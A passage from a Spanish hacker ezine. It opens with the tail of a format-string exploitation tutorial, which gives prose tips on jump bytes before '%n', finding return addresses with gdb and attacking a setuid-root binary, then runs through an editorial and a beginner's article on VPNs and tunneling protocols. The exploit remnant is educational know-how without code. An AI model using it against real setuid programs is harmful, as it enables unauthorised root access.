"\xeb\x02" justo antes de cada '%n'. Lo demas ya lo habiamos visto anteriormente, la unica diferencia es que ahora lo hemos aprovechado para hacer algo un poco mas divertido :). Por supuesto este xploit es muy poco probable que funcione en tu maquina, ya que las direcciones de retorno/scode varian de un ordenador a otro. Si quieres que te rule adapta el xploit a tu maquina, solo tienes que averiguar las direcciones (con el gdb for example). Para sacar la dire de retorno por el metodo que yo use deberas hacerlo antes de setear codigo5 con suid root, porque sino lo mas probable es que no haga core. En una caso hipotetico de que ya estuviera seteado se solucionaria facilmente, solo habria que copiar el binario a tu directorio y ejecutarlo desde ahi, de esa forma si que haria core y la direccion de retorno no variaria. ------------------ // 5.- Despedida ------------------ Como habia dicho al principio de este articulo, en NS #7 habra segunda parte, donde se trataran algunos temas un poco mas complejos. Algunos de esos temas seran: metodos para averiguar la direccion de retorno sin usar gdb, que pasa cuando la direccion que quieres sobreescribir no esta alineada (pads), etc. Mientras tanto tendreis que conformaros con este articulillo, que sin pretender ser de los mejores, espero que sirva para aquellos que estan empezando con este tipo de overflows. Pues nada, ha sido un placer :). Os recuerdo que dudas, comentarios, criticas, etc. sobre el articulo las podeis enviar a la direccion: Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla . Un saludo a tod@s. RaiSe 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x05 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ NetSearch al habla ]-==================================================== =-[ por NetSearch ]-========================================================= Buenas :). Como no se me ocurre nada que decir empezare esta seccion recordando las cosas 'tipicas' que suelo comentar en la editorial o en este apartado (NetSearch al habla). Pues bien.. Comencemos con las caracteristicas 'tecnicas' necesarias que tiene que tener un articulo para ser publicado en el ezine. Lo de las 77 columnas parece que no ha quedado del todo claro, porque nos siguen llegando algun que otro articulo con un numero superior.. De todas formas los documentos se 'retocan' un poco por el editor (usease yo) en caso de que lleven acentos, tema de columnas, etc. Por supuesto si los textos cumplieran todo perfectamente su revision seria mucho mas rapido, y nos podriamos dedicar a otras cosas mas fructiferas. Asi que ya sabeis, a escribir a 77 columnas tocan ;). La lista de caracteristicas optimas de un articulo son: + Estar escritos con un maximo de 77 columnas. + No usar caracteres fuera del estandar ASCII (7 bits) a excepcion de la eñe. Es decir, nada de acentos ;). + Siempre que el texto se base en otro ya publicado primero se consul- tara con el autor del mismo, y en caso de que no tenga inconveniente se procedera a su publicacion citando la fuente en el articulo. Lo mismo para una traduccion, con la particularidad de que en este caso se indicara claramente que se trata de una traduccion. + Intentar no usar formas 'raras' de expresion, algo asi como: "0la ke t4L? s0y Ch4CH1". Se puede pasar alguna que otra (escribir ke en vez de que, etc.) pero si el texto llega a ser ilegible.. chungo. Aprovecho para recordaros que si quereis contactar con los miembros del staff, ya sea para enviar alguna sugerencia, critica, comentario, etc., podeis hacerlo mandando un mail a la direccion: < Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla >. Si por el contrario quereis mandar un articulo lo ideal seria que se lo enviarais directamente al editor (por el tema de filtros y demas), a la siguiente direccion: < Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla >. Mm.. q mas?.. Os recuerdo tambien tres cosillas 'de siempre'. La primera es que podeis apuntaros a nuestra lista de correo en yahoogroups, abierta a todo el que quiera participar. Para inscribiros solo teneis que dirigiros a la direccion 'http://groups.yahoo.com/subscribe/netsearch'. La segunda es que si preferis tener cada articulo en un fichero por separado podeis conseguirlo con solo ejecutar: "nextract -s ns006.txt" (el codigo del nextract siempre acompaña al ezine). Y la tercera es que si quereis daros de alta en el desafio de RC5-64 de distributed.net podeis apuntaros a nuestro 'team'; nuestro numero de identificacion es el 11007. Cambiando de tema.. El dia 6 de Agosto empieza (como muchos sabran) la campus-party en Valencia. Durara casi una semana, hasta el dia 12 para ser exactos. Alli los (afortunados) presentes disfrutaran de cosas como: campeonatos en red, charlas, conexion a Internet a alta velocidad, concursos, etc. Por supuesto el staff de NetSearch Ezine estara practicamente al completo :), asi que nos veremos por alli.. Sigamos.. Me imagino que os habreis enterado del 'hackeo' a la que se vio sometido el ezine electronico SET, aproximadamente el 2 de Junio. En realidad lo que paso (para los que no esten informados) fue que les 'robaron' el dominio usando ingenieria social en Network Solutions, siendo practicamente imposible de recuperar. Independientemente de la simpatia que pueda sentir (o no sentir) por SET, esta claro que eso es un robo en toda regla. Vamos.. que es una putada considerable que no se la deseo ni a mi peor enemigo XD. Por lo tanto desde aqui expreso mi desacuerdo con los metodos que el tal 'OTT' (persona que firmo la pagina web, http://www.set-ezine.org) ha utilizado. Ademas, que parece mas un ataque personal que otra cosa.. En fin, como no queremos avivar mas la polemica, dejaremos que el tiempo ponga las cosas en su sitio. Y ya que estamos hablando de otros grupos de la scane española, pasare a comentar como veo el panorama desde mi punto de vista personal. Y es que (espero equivocarme) yo no lo veo nada claro.. Los grupos que prometian y que iban saliendo no hacen mas que desaparecer, yo no entiendo nada :?. Me estoy refiriendo por ejemplo a grupos como digitalsec, outlimit, e-n-g, 2500Hz, jjf, apostols.. Por cierto pido perdon si alguno de los grupos que acabo de nombrar no ha desaparecido, yo me estoy refiriendo a los que su website ya no esta activa (o lleva años sin actualizarse, caso de jjf -aunque segun me han comentado por ahi estan pensando en ponerse manos a la obra otra vez, de lo que nos alegramos desde aqui-). Resumiendo el panorama no es muy prometedor (y menos con cosas como lo de SET y OTT). Menos mal que quedan algunos grupos que aun siguen, y haciendolo muy bien a mi modo de ver las cosas. Me estoy refiriendo a gente como la de Hispahack, Undersec o 7a69ezine, a la cual mandamos un saludo desde aqui ;). Ojala la cosa cambie uno poco de aqui en adelante, porque sino las webs de calidad de la scene española se podran contar con los dedos de una mano.. y eso no es bueno para nadie. Y nada mas.. que me parece que para este numero me estoy enrollando un poco mas de la cuenta :). Nos veremos en NetSearch Ezine #7, que saldra.. mm.. en Octubre/Noviembre mas o menos, estaros atentos a nuestro website: http://www.netsearch-ezine.com. Os deseo un feliz verano a tod@s, que lo paseis bien en la playa (piscina para algunos), y esas cosas ;). Hasta pronto. El Editor 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x06 ]-================================================================== =-[ NetSearch Ezine #6 ]-==================================================== =-[ Redes Privadas Virtuales (VPN) ]-======================================== =-[ por NETb0rg ]-=========================================================== I N D I C E 0 Prologo 1 Introduccion a las VPN 1.1 Usos comunes de una VPN 1.2 Requerimientos basicos de una VPN 2 Conceptos basicos de Tunneling 2.1 Protocolos de Tunneling 2.1.1 Como funciona el Tunneling 2.2 Point-to-Point Protocol (PPP) 2.3 Point-to-Point Tunneling Protocol (PPTP) 2.4 Layer 2 Forwarding (L2F) 2.5 Layer 2 Tunneling Protocol (L2TP) 2.6 Internet Protocol Security (IPSec) Tunnel Mode 2.7 Tipos de tuneles 3 Conclusion 4 Glosario - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [0] P R O L O G O En este documento intentare explicar el funcionamiento de una Red Privada Virtual, asi como la descripcion y caracteristicas de los protocolos utilizados para estos fines. Explicare tambien el con- cepto de tunneling y el encapsulado de paquetes. De igual manera, describire el proceso que se lleva a cabo desde que se establece un tunel hasta que este es terminado. La mayoria de los ejemplos expuestos en este documento se basan en la implementacion de Redes Privadas Virtuales sobre Internet, siendo este medio el mas accesible y economico, pero no el unico. Este documento esta enfocado al usuario en general, por lo que puede contener ejemplos o explicaciones demasiado obvias para el usuario avanzado. Al final de este articulo inclui un glosario de terminos usados a lo largo de este documento. Dichas definiciones pueden no ser tan tecnicas o especificas como algunos pudieran esperar, sino que son definiciones propias del autor, por lo que se sugiere consultar esos terminos en caso de tener dudas con respecto a su definicion. Puesto que las Redes Privadas Virtuales no es mi especialidad, este documento podria contener conceptos confusos, por lo que se sugiere consultar alguna publicacion que el lector considere cien por ciento confiable en caso de querer aplicar los conceptos aqui expuestos. El Autor Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [1] I N T R O D U C C I O N Una Red Privada Virtual (VPN, Virtual Private Network) nos permite conectar los componentes de una red sobre otra red, simulando un enlace privado dedicado entre los extremos de la VPN, permitiendo de esta manera que un usuario remoto, que se encuentre de viaje en cualquier parte del mundo, o una oficina que se encuentre en otra localidad, puedan conectarse a su red corporativa utilizando la infraestructura de una red publica, tal como Internet. (Fig. 1) _____ _____ /____/| . . . . . /____/| | ||| . . . | ||| | || ________ . . ________ | || |_____|/| /______/| . INTERNET . /______/| |_____|/| |_____|/ | | | . . | | | |_____|/ | | . -- | | . . | . -- | | | ___|___________| . -- | |##########################| . -- | |_____|_________ __|__ | . -- | | . /\ . | . -- | | __|__ /____/| | . -- | | . \ . | . -- | | /____/| | ||| | . -- | | . . \ . | . -- | | | ||| | || |______|/ . . \ . |______|/ | || |_____|/| . . . . . . \ |_____|/| |_____|/ \ |_____|/ Red Privada Virtual Fig. 1: Red Privada Virtual 1.1 Usos comunes de una VPN - Acesso de un usuario remoto sobre Internet. Una VPN permite el acceso remoto a recursos corporativos sobre una red publica (de aqui en adelante, Internet). En lugar de conectarse con su modem haciendo una llamada de larga distancia, el usuario solo debe marcar a su ISP local. Una vez conectado a Internet, el software VPN del usuario creara una red privada virtual entre su equipo de computo y el servidor VPN corporativo a traves de Internet. - Conexion de redes sobre Internet. Es posible tambien implementar una VPN para conectar oficinas externas situadas en diferentes ciudades, a la red corporativa, evitando con esto la necesidad de un circuito dedicado como Frame Relay, por citar solo uno. Por ejemplo, aca en Mexico, tenemos frontera con los Estados Unidos, lo cual obliga a las empresas ubicadas en la region fronteriza a utilizar soluciones basadas en microondas para enlazar sus redes usando alguna solucion como Frame Relay, por ejemplo, lo cual requiere invertir una buena cantidad de dinero en equipo de comunicaciones. En cambio, si se implementa una VPN solo necesitariamos una linea dedicada a un ISP y lo necesario para montar la VPN (servidores VPN, enrutadores, etc.) La oficina que quisiera establecer una conexion con la red corporativa no necesariamente tendria que utilizar una linea dedicada a su ISP, pues tambien podria realizar la conexion utilizando dial-up. No es lo ideal, pero es posible hacerlo. Sin embargo, el servidor VPN deberia estar conectado a Internet utilizando un enlace dedicado, para que pueda estar escuchando trafico VPN las 24 horas. (A proposito, yo no se que tan bien funcionen las conexiones dial-up alla en España, pero aca en Mexico son verdaderamente pateticas) }:/ Como nota adicional, es posible tambien, debido a su flexibilidad, implementar una VPN sobre la misma LAN corporativa. Para entenderlo, veamos el siguiente ejemplo: Es comun ver que en algunas empresas, su departamento donde manejan informacion critica o confidencial, esta aislado del resto de la red, es decir, fisicamente desconectado de la red corporativa. Aunque esto es una medida de seguridad que proteje esa informacion confidencial de algun incidente que pudiera surgir, provoca al mismo tiempo, un problema de accesibilidad para los usuarios que no estan fisicamente conectados a esa red aislada. Una VPN permitiria entonces a ambas redes estar fisicamente conectadas pero separadas por un servidor VPN, el cual no actuaria como enrutador sino como un NAS (Network Access Server), asi mismo permitiria el acceso solo a aquellos usuarios autorizados. Ademas, todo el trafico VPN puede ser encriptado para una mayor confidencialidad. 1.2 Requerimientos basicos de una VPN Pues como bien se sabe, cuando se implementa alguna solucion de este tipo (conexion entre redes remotas), la empresa debe facilitar el acceso controlado a los recursos e informacion corporativos, es decir, solo aquellos usuarios que esten autorizados a hacerlo, pueden acceder a dichos recursos. Tambien, esta solucion debe permitir que todas las oficinas o usuarios remotos puedan conectarse unos con otros para compartir recursos e informacion. Ademas, la solucion debe asegurar la privacidad e integridad de los datos mientras circulan por Internet o por la red corporativa. Aparte de esto, una solucion VPN debe ofrecer, por lo menos, los siguientes aspectos: - Autenticacion de usuarios. La solucion debe verificar la identidad del usuario y restringir el acceso solo a usuarios autorizados, ademas de llevar un registro que muestre quien accedio, que informacion, y cuando. - Manejo de direcciones. La solucion debe asignar una direccion cliente en la red privada y asegurar la privacidad de esta direccion. - Cifrado de datos. La solucion debe encriptar los datos en transito para hacerlos ilegibles a usuarios no autorizados en la red. - Manejo de claves. La solucion debe generar y actualizar las claves de cifrado para el cliente y el servidor. - Soporte multiprotocolo. La solucion debe manejar protocolos comunes usados en la red publica por ejemplo, IP, IPX, etc. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [2] C O N C E P T O S B A S I C O S D E T U N N E L I N G Tunneling es un metodo que consiste en utilizar la infraestructura de una interred (como Internet), para transportar datos de una red a otra. Los datos a ser transportados pueden ser los cuadros (o paquetes) de un protocolo diferente al que maneje la interred en cuestion, es decir, en lugar de enviar un cuadro tal y como fue producido por el nodo que lo origino, el protocolo de tunneling (ya sea L2TP, IPSec, etc) encapsula el cuadro en un header (encabezado) adicional que pertenece al protocolo de transporte de la interred sobre la cual se establece el tunel (por ejemplo, IP). Los paquetes encapsulados son entonces enrutados sobre la interred entre los extremos del tunel. A esa ruta logica a travez de la cual viajan los paquetes encapsulados sobre la interred se le llama 'tunel'. Cuando los paquetes (o cuadros) encapsulados llegan a su destino, el cuadro (o paquete :-P) es desencapsulado y reenviado a su destino final. Si alguna vez has trabajado con Novell NetWare o por lo menos has visto como funciona esto lo vas a entender muy facil ;-). Supongamos que tenemos un cliente y un servidor NetWare. Como es bien sabido, el protocolo de transporte de NetWare es el IPX. Bien, supongamos que ambos, cliente y servidor, se encuentran en ciudades diferentes. Ambos estan conectados a una interred IP. A simple vista, esto es incompatible, pues no es posible enviar paquetes IPX sobre IP. Entonces como se hace? Pues el cliente envia un paquete IPX al servidor que esta en otra ciudad, pero para que ese paquete salga, pasa por el enrutador local, el cual encapsula el paquete IPX en un paquete IP, es decir, al paquete IPX le agrega un header IP y listo: ahora es un paquete IP. En seguida, el paquete, que ahora es IP, viaja por la interred IP hasta llegar al otro enrutador. Al llegar el paquete IP al otro enrutador, este lo recibe y le quita el header IP, es decir, lo desencapsula. A continuacion, reenvia el paquete (que ahora es un paquete IPX) a su destino: el servidor NetWare :-) Weno, pues yo considero este ejemplo demasiado claro y espero que haya quedado bien entendido el concepto de Tunneling. Ver fig. 2 . . . . . . . Router 1 . . . Router 2 _____ . Interred IP . _____ /____/| ______________________________ /____/| _____ | || /\ __________ \ | || _____ |_____| |____|| | | Tunel |______|___| ---> | |____|| |_____| IPX |____|/ \/______________/_____ \ ______/ |____|/ IPX . / \ . . / . \ . / . . . Encabezado IP Paquete IPX encapsulado / Fig. 2: Concepto teorico de Tunneling. En este ejemplo, el primer enrutador recibe un paquete IPX, lo encapsula en un encabezado IP; lo envia a traves de una interred IP. Al recibir el paquete el segundo enrutador lo desencapsula quitandole el encabezado IP y lo reenvia a su destino final, ahora como un paquete IPX. Algunos protocolos utilizados para tunneling son: - Point-to-Point Tunneling Protocol (PPTP). Permite que el trafico IP, IPX o NetBEUI sea encriptado y encapsulado en encabezados IP para ser enviado a traves de una interred IP como Internet. Este pedazo de protocolo fue creado nada mas y nada menos que por micro$oft :-P (ver http://poptop.lineo.com/ para una implementacion PPTP open source). - Layer 2 Tunneling Protocol (L2TP). Permite que el trafico IP o IPX sea encriptado y enviado sobre cualquier medio que soporte entrega de datragramas punto-a-punto, tales como IP, X.25, Frame Relay o ATM - IP Security (IPSec) Tunnel Mode. Permite que paquetes IP sean encriptados y encapsulados en encabezados IP para ser enviados a traves de una interred IP. En resumen: Durante el tunneling, los paquetes del protocolo ABC se encapsulan en paquetes del protocolo XYZ para poder ser enviados a travez de una interred XYZ. Al llegar estos paquetes, son desencapsulados y reenvia a su destino final como paquetes ABC (*). Cabe hacer la aclaracion que no necesariamente los paquetes procesados por el protocolo de tunneling tienen que ser diferentes al protocolo de la interred, tal es el caso de IP-sobre-IP y de IPSec, que encapsulan paquetes IP para posteriormente ser transportados sobre una red IP. * Los protocolos ABC y XYZ son meramente ficticios, asi que, si usted se cree un guru en redes, no se sienta frustrado por no conocerlos xDD. 2.1 Protocolos de Tunneling Para que un tunel sea establecido, ambos, el cliente tunel y el servidor tunel, deben usar el mismo protocolo de tunneling. La tecnologia de tunneling puede basarse en un protocolo de tunneling, ya sea de Layer 2 o de Layer 3. (Si conoces el Modelo de Referencia OSI no habra ningun problema para entender esto, si no, leete el OSI Reference Model antes de continuar con este arti :-P ). Basandonos en el modelo OSI, los protocolos Layer 2, que corresponden a la capa de enlace de datos, usan cuadros (frames) como unidad de intercambio. PPTP, L2TP y L2F son protocolos de tunneling Layer 2. Ambos encapsulan los datos en cuadros PPP para ser enviados a traves de una interred. Los protocolos Layer 3, que corresponden a la capa de red, utilizan paquetes (packets) como unidad de intercambio. IPoIP y IPSec Tunnel Mode son ejemplos de protocolos de tunneling Layer 3. Ambos encapsulan paquetes IP en un encabezado IP adicional antes de ser enviados a traves de una interred IP. Ahora se entiende por que decia "paquetes (o cuadros)" y "cuadros (o paquetes)"?. 2.1.1 Como funciona el tunneling Si, si, ya se que ya lo explique y que quedo perfectamente bien entendido, solo que hay que explicar como funciona el tunneling cuando se utilizan protocolos Layer 2 y como, cuando se utilizan protocolos Layer 3. En el caso de las implementaciones VPN basadas en Layer 2, tales como PPTP y L2TP, el tunel es similar a una sesion, es decir, ambos extremos del tunel deben negociar ciertas variables tales como asignacion de direccion o parametros de cifrado o compresion. En las implementaciones Layer 3, por el contrario, se asume que toda la configuracion ha sido resuelta con anterioridad. Para estos protocolos el tunel no se mantiene. Para los protocolos Layer 2, sin embargo, un tunel debe ser creado, mantenido y terminado. Una vez que el tunel es establecido, los datos pueden ser enviados. 2.2 Point-to-Point Protocol Debido a que los protocolos Layer 2 dependen enormemente de las caracteristicas especificadas para PPP, vamos a ver un poco mas a detalle este protocolo. PPP fue diseñado para enviar datos a traves de conexiones dial-up o a traves de enlaces dedicados punto-a-punto. PPP encapsula paquetes IP, IPX y NetBEUI dentro de cuadros PPP, para posteriormente transmitir los paquetes PPP encapsulados a traves de un enlace punto-a-punto. El protocolo utilizado entre un modem y un NAS (Network Access Server) es el PPP. Existen ciertas fases de negociacion en una sesion PPP por dial-up, que tienen que completarse antes de que la conexion PPP este lista para transferir datos. Fase 1: Creacion del enlace PPP PPP utiliza LCP (Link Control Protocol) para establecer, mantener, y terminar la conexion. Durante esta fase se definen los protocolos de autenticacion que seran utilizados para autenticar al usuario, pero no se implementan sino hasta la siguiente fase. Es en esta primera fase donde se decide tambien cual de los dos equipos negociara el uso de compresion y/o cifrado. Fase 2: Autenticacion del usuario En esta fase, la computadora cliente se autentica con el RAS. La mayoria de las implementaciones PPP utilizan los siguientes protocolos para autenticacion: - Password Authentication Protocol (PAP) - Challenge-Handshake Authentication Protocol (CHAP) El protocolo PAP ofrece una autenticacion de lo mas sencilla, basada en texto simple. El NAS solicita al cliente su nombre de usuario y su password y PAP los devuelve en texto simple, es decir, sin ser cifrados. Je, je... es obvio que esto no tiene nada de seguro, puesto que algun jaquerrr podria andar por ahi sniffeando y hacerse con el username y el password sin mayor dificultad :-P. Por el contrario, el protocolo CHAP ofrece un mayor grado de seguridad, debido a que el password del usuario nunca viaja, ni siquiera cifrado, durante la sesion PPP. CHAP funciona de la siguiente manera: Cuando durante la primera fase ambos, cliente y servidor, acuerdan utilizar CHAP como protocolo de autenticacion, el NAS envia un 'desafio' al cliente remoto. Este desafio consiste en un ID de sesion y una cadena arbitraria de caracteres (desafio). El cliente remoto debera utilizar MD5 para responder al servidor con el nombre de usuario y una encriptacion del desafio, ID de sesion y su password. El nombre de usuario es enviado sin cifrar. Las siguientes ecuaciones pueden ayudar a entender esto: desafio = id_sesion, cadena_desafio respuesta = MD5(id_sesion, cadena_desafio, password), nombre_usuario Como se aprecia claramente, el password nunca viaja, ni siquiera cifrado, durante la sesion, sino que es utilizado para un crear un hash del desafio original. El servidor conoce el password del usuario, por lo que al momento de recibir la respuesta del cliente remoto, realiza la misma operacion con el desafio enviado y procede a comparar el resultado con la respuesta del cliente. En caso de no coincidir, el servidor niega la conexion con el cliente. Otra caracteristica interesante de CHAP es que, una vez establecida una sesion, el servidor continua enviando desafios al cliente en periodos de tiempo arbitrarios, lo cual protege la sesion contra un posible ataque de spoofing. Weno, pues ya para finalizar con esta fase 2: una vez que el NAS obtiene los datos de autenticacion, los valida contra su propia base de datos o contra un servidor central de autenticacion, por ejemplo, un servidor RADIUS (Remote Authentication Dial-In User Service). Fase 3: Invocando los protocolos de red Una vez que las fases anteriores han sido completadas, PPP invoca los protocolos de control que fueron seleccionados durante la fase 1 para configurar los protocolos utilizados por el cliente remoto. Por ejemplo, durante esta fase el IPCP (IP Control Protocol) puede asignar una direccion dinamica al usuario remoto. Una vez que estas fases han sido completadas, PPP comienza a transmitir datos desde y hacia los dos puntos de la conexion. Cada paquete transmitido es encapsulado en un encabezado PPP el cual es removido por el receptor. Si la compresion de datos fue seleccionada durante la fase 1, los datos son comprimidos antes de transmitirlos. Tambien, si el cifrado fue seleccionado durante la fase 1, entonces los datos son encriptados antes de ser transmitidos. En resumen, esto es lo que sucede desde el momento que nos conectamos a nuestro ISP usando un modem y hasta que damos por terminada la conexion (o nos desconectan xDD). 2.3 Point-to-Point Tunneling Protocol (PPTP) PPTP es un protocolo Layer 2 que encapsula cuadros PPP en datagramas IP para ser transportados sobre una interred IP, como Internet. Como ya mencione en lineas anteriores, PPTP es una mas de las creaciones de micro$oft. 2.4 Layer 2 Forwarding (L2F) L2F es un protocolo de transmision que permite a un servidor dial-up encuadrar trafico dial-up en PPP y transmitirlo sobre vinculos WAN a un servidor L2F. Este servidor desencapsula los paquetes y los inyecta a la red. En contraste con PPTP y L2TP, L2F no tiene un cliente definido. L2F es una tecnologia propuesta por Cisco. 2.5 Layer 2 Tunneling Protocol (L2TP) L2TP es una combinacion de PPTP y L2F que encapsula cuadros PPP para ser enviados sobre redes IP, X.25, Frame Relay o ATM. Cuando se configura para usar IP, L2TP puede ser usado como protocolo de tunneling sobre Internet, aunque tambien puede ser usado directamente sobre una WAN (como Frame Relay) sin una capa IP de transporte. L2TP sobre interredes IP hace uso de UDP para mantener el tunel. En vista de que PPTP y L2TP son muy similares, debemos hacer notar cuales son las diferencias entre ambos: - PPTP requiere forzosamente de una interred IP. L2TP solamente requiere que el medio de tunneling ofrezca conectividad punto-a-punto basada en paquetes, tales como IP (usando UDP), Frame Relay, X.25 o ATM. - PPTP solo puede soportar un tunel entre ambos extremos. L2TP, por el contrario, permite el uso de multiples tuneles entre los extremos. - L2TP proporciona opcionalmente compresion de encabezados. - L2TP ofrece autenticacion de tunel, mientras que PPTP no. Si cualquiera de estos protocolos es usado sobre IPSec, la autenticacion de tunel es proporcionada por IPSec, por lo cual la autenticacion de tunel Layer 2 no es necesaria. 2.6 IPSec Tunnel Mode IPSec es un protocolo Layer 3 que soporta la transferencia segura de informacion a traves de una interred IP. IPSec define el formato de paquetes para una modalidad de tunel IP-sobre-IP, llamada IPSec Tunnel Mode. Un tunel IPSec consiste en un cliente tunel y un servidor tunel, los cuales estan configurados para usar tunneling IPSec y algun mecanismo de cifrado. IPSec Tunnel Mode utiliza un metodo de seguridad para encapsular y encriptar paquetes IP para transmitirlos de forma segura a traves de una interred IP privada o publica (si, ya saben, como Internet :-P) Los datos encriptados son vueltos a encapsular en un encabezado IP y enviados a la interred para ser entregados al otro extremo del tunel. Una vez recibido el datagrama, el servidor tunel descarta el encabezado IP y desencripta el contenido del paquete para recuperar el paquete IP original. Este paquete, a su vez, es procesado normalmente y enrutado a su destino final. Pues el concepto es muy simple: solo se trata de paquetes IP cifrados que viajan como datos de usuario dentro de paquetes IP convencionales. Asi de sencillo :-). Todo esto del IPSec suena bien, solo hay que mencionar que IPSec soporta unicamente trafico IP. 2.7 Tipos de tuneles Tuneles voluntarios: es cuando al establecer un tunel, la computadora cliente se convierte en un extremo del tunel y actua como cliente tunel. Los tuneles voluntarios requieren una conexion IP. Tuneles obligatorios: es cuando, al establecer un tunel, la compu del usuario no es un extremo del tunel, sino que el RAS del ISP, que se encuentra entre el usuario y el servidor tunel, actua como cliente tunel. (Fig. 3) Este RAS, que proporciona el tunel para el cliente, es conocido como: - FrontEnd Processor (FEP), en PPTP - L2TP Access Concentrator (LAC), en L2TP - IP Security Gateway, en IPSec Cliente Cliente Tunel . . . . . Servidor Tunel Dial-up _________ . . . _____ | _____ /________/| . Internet . /____/| |-- /____/| | - | -- || . . | --|| | | || ___ | - | -- || . . | --||---| LAN |____|/| /___ | - | -- || ________________________ | --|| | |____|/ PPP | - | -- || ()_______________________) |____|| |-- |___|____|/ . Tunel . |____|/ | ISP . . . (FEP) . . . . Fig. 3: Tunel obligatorio. El usuario se conecta a su ISP utilizando PPP. Una vez establecida la conexion. El ISP se convierte en un extremo del tunel y actua como cliente tunel. A diferencia de los tuneles voluntarios, un tunel obligatorio puede ser compartido por varios clientes dial-up. Cuando un segundo cliente marca al FEP, ya no es necesario crear un nuevo tunel entre el FEP y el servidor tunel, sino que el trafico desde y hacia el nuevo cliente es transportado a traves del tunel existente. Debido a esto, el tunel no puede ser terminado sino hasta que el ultimo usuario del tunel se desconecte. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [3] C O N C L U S I O N Weno, pues espero que todo haya quedado bien claro, y por ultimo, voy a resumir todo lo anterior en unas cuantas liniecillas :-P. Recordemos que una VPN conecta los componentes de una red sobre otra red, independientemente del protocolo que esta red utilice para el transporte de datos (usualmente, IP). Una VPN simula un enlace privado entre los extremos de la misma. Para realizar todo esto, se utiliza una tecnica llamada tunneling que consiste en encapsular los paquetes (o cuadros) de determinado protocolo (IP, IPX, etc) en paquetes (o cuadros) de la interred sobre la cual va a ser establecido el tunel. El encapsulado consiste unicamente en agregar el encabezado del protocolo de la interred (usualmente, un encabezado IP), al paquete del protocolo de la red que lo origino (por ejemplo, IPX). El tunneling puede estar basado en protocolos Layer 2 tales como PPTP, L2TP o L2F, o estar basado en protocolos Layer 3 tales como IPoIP o IPSec. Todos los protocolos Layer 2 estan basados en PPP, que es el mismo protocolo utilizado entre nuestra computadora y nuestro ISP cuando nos conectamos a Internet usando un modem telefonico. IPSec es un protocolo Layer 3 que encripta paquetes IP dentro de paquetes IP para ser enviados de forma segura a traves de una interred privada o publica. IPSec solo funciona sobre interredes IP. El tunel entre un cliente remoto y un servidor VPN puede ser voluntario u obligatorio. Cuando es voluntario, la computadora del usuario es un extremo del tunel, el cual actua como cliente tunel. Cuando es obligatorio, el usuario marca a su ISP, el cual establece el tunel con el servidor VPN. De esta manera, el ISP llega a ser un extremo del tunel y a su vez, actua como cliente tunel. En el caso de un tunel obligatorio, varios usuarios puede compartir el tunel establecido entre el FEP y el servidor VPN. Weno, pues es todo por esta vez. Nos vemos en el proximo e-zine ;-). Espero que les haya gustado el arti, a pesar de ser muy basico :-). Joer, tambien espero pronto pillar el acento español pa que molen los artis xDD. Weno, pos salu2 a tod@s :-). Un saludote tambien a los compatriotas de Raza Mexicana y a X-ploit ;-). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [4] G L O S A R I O ATM (Asynchronous Transfer Mode): Tecnologia WAN basada en conmutadores de celulas (nada que ver con biologia :-P). Autenticacion: Accion de verificar que determinado usuario es quien dice ser, efectuando para ello, ciertos procedimientos que dependen del tipo de autenticacion. CHAP (Challenge-Handshaking Authentication Protocol): Protocolo usado por PPP para autenticar al usuario frente a un RAS. El servidor le envia al cliente un desafio el cual tiene que ser contestado para ser autorizado. Cifrado: Metodo por medio del cual los datos son desordenados de tal forma que parezcan legibles solo a quien esta autorizado. Dial-up Connection: Cualquier conexion entre un modem y un RAS. E1: Estandar de transmision a 2.048 Mbps. Encabezado (header): Parte que es agregada a los datos que se van a transmitir para formar un paquete o cuadro. El encabezado contiene informacion de enrutamiento tal como la direccion de red del remitente, la direccion del destinatario, etc. Encapsular: Poner a un paquete de determinado protocolo, un encabezado de otro protocolo (o del mismo), para asi poder ser enviado a traves de una interred. Cuando digo "o del mismo", me refiero a tecnicas como IP-sobre-IP o IPSec que encapsulan paquetes IP en encabezados IP. Enlace dedicado: Una conexion permanente entre una red y un proveedor de servicios. La conexion digital entre una red y un ISP es un ejemplo de enlace dedicado. Enrutador (Router): Dispositivo de hardware utilizado para unir las redes locales para formar una WAN. FEP (FrontEnd Processor): En un tunel obligatorio basado en PPTP, se refiere al dispositivo encargado de crear el tunel entre este y el servidor VPN para que el usuario remoto pueda hacer uso de el. En el caso de L2TP, este dispositivo seria un LAC (L2TP Access Concentrator). En el caso de IPSec, un IPSec Gateway. Frame Relay: Protocolo de conmutacion de paquetes para conectar dispositivos sobre una WAN. (no estoy bien puesto es esto, asi que si no es, mil disculpas :-P). Interred (Internetwork): Una red constituida por la union de varias redes. El ejemplo mas claro es Internet. IPSec (IP Security): Es un protocolo Layer 3 desarrollado para funcionar unicamente sobre redes IP. IPSec encripta paquetes IP y los encapsula en encabezados IP para ser enviados a traves de una interred IP. El concepto es similar a IPoIP. IPX (Internet Packet eXchange): Protocolo desarrollado por Novell para el uso en redes NetWare. ISP (Internet Service Provider): Proveedor de servicios que cuenta con la infraestructura necesaria para ofrecer acceso a Internet. L2F (Layer 2 Forwarding): Tecnologia propuesta por Cisco que permite a un servidor encuadrar trafico dial-up en PPP y transmitirlo sobre una WAN hacia un servidor L2F. L2F no tiene un cliente definido, sino que inyecta los paquetes a la red una vez que han sido desencapsulados. L2F solo funciona con tuneles obligatorios. L2TP (Layer 2 Tunneling Protocol): Es una combinacion de PPTP y L2F que encapsula cuadros PPP para ser enviados sobre redes IP, X.25, Frame Relay, o ATM. L2TP soporta compresion y cifrado. Layer 2 (Capa 2): Capa de Enlace de Datos del Modelo de Referencia OSI. Los protocolos que pertenecen a esta capa, utilizan 